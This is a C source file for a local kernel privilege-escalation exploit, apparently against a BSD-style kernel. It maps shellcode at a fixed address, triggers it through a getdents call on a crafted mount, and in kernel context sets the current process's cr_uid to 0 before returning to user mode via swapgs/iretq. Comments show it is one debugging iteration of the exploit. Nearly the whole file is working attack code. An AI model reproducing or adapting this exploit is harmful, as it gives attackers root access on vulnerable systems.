/* diag #5: iretq on KERNEL stack, KERNEL gs (no swapgs).  If iretq #GP, we see
 * a real panic (kernel stack/gs valid) instead of triple-fault.  This isolates
 * whether the iretq frame selectors are valid. */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define SHELLCODE_ADDR 0x0000000001337000ULL
#define USER_CS        0x2b
#define USER_SS        0x23
#define USER_RFLAGS    0x202ULL
__attribute__((noinline, aligned(4096)))
static void win(void)
{
    /* CPL3 after iretq (gs wrong but let's see) */
    int mfd = open("/home/maxx/DF0873_WINREACHED", 0x601/*O_CREAT|O_TRUNC|O_WRONLY*/, 0644);
    if (mfd >= 0) { const char *s="reached\n"; write(mfd,s,8); close(mfd); }
    _exit(0);
}
__attribute__((noinline, aligned(4096)))
static void shellcode(void)
{
    __asm__ volatile(
        "movq %%gs:0x0, %%rax\n\t"
        "movq 0x08(%%rax), %%rax\n\t"
        "movq 0xa8(%%rax), %%rdi\n\t"
        "movq 0x10(%%rdi), %%rsi\n\t"
        "movl $0, 0x40(%%rsi)\n\t"      /* cr_uid=0 */
        "cli\n\t"
        /* build frame on CURRENT kernel stack, no swapgs yet */
        "subq $48, %%rsp\n\t"
        "movq %[ss], 32(%%rsp)\n\t"
        "movq %[ust], 24(%%rsp)\n\t"
        "movq %[rfl], 16(%%rsp)\n\t"
        "movq %[cs], 8(%%rsp)\n\t"
        "movq %q[win], (%%rsp)\n\t"
        "swapgs\n\t"           /* swap to user gs just before iretq */
        "iretq\n\t"
        :
        : [ust] "i" (0x0000000001408000ULL),
          [ss] "i" ((uint64_t)USER_SS),
          [rfl] "i" (USER_RFLAGS),
          [cs] "i" ((uint64_t)USER_CS),
          [win] "i" ((uint64_t)&win)
        : "rax","rdi","rsi");
}
__attribute__((noinline, aligned(4096)))
static void shellcode_end(void) { }
#define SYS_getdents 480
int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";
    mmap((void *)0x1400000, 0x10000, PROT_READ|PROT_WRITE,
         MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode);
    void *p = mmap((void *)SHELLCODE_ADDR, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    if (p == MAP_FAILED) { perror("mmap sc"); return 2; }
    memcpy(p, (void *)shellcode, sc_len);
    fprintf(stderr, "[diag5] iretq-on-kernelstk; win=%p\n", (void*)&win);
    int fd = open(mp, O_RDONLY|O_DIRECTORY);
    if (fd < 0) { perror("open"); return 2; }
    char buf[64];
    syscall(SYS_getdents, fd, buf, sizeof(buf));
    fprintf(stderr, "[diag5] returned\n");
    return 0;
}
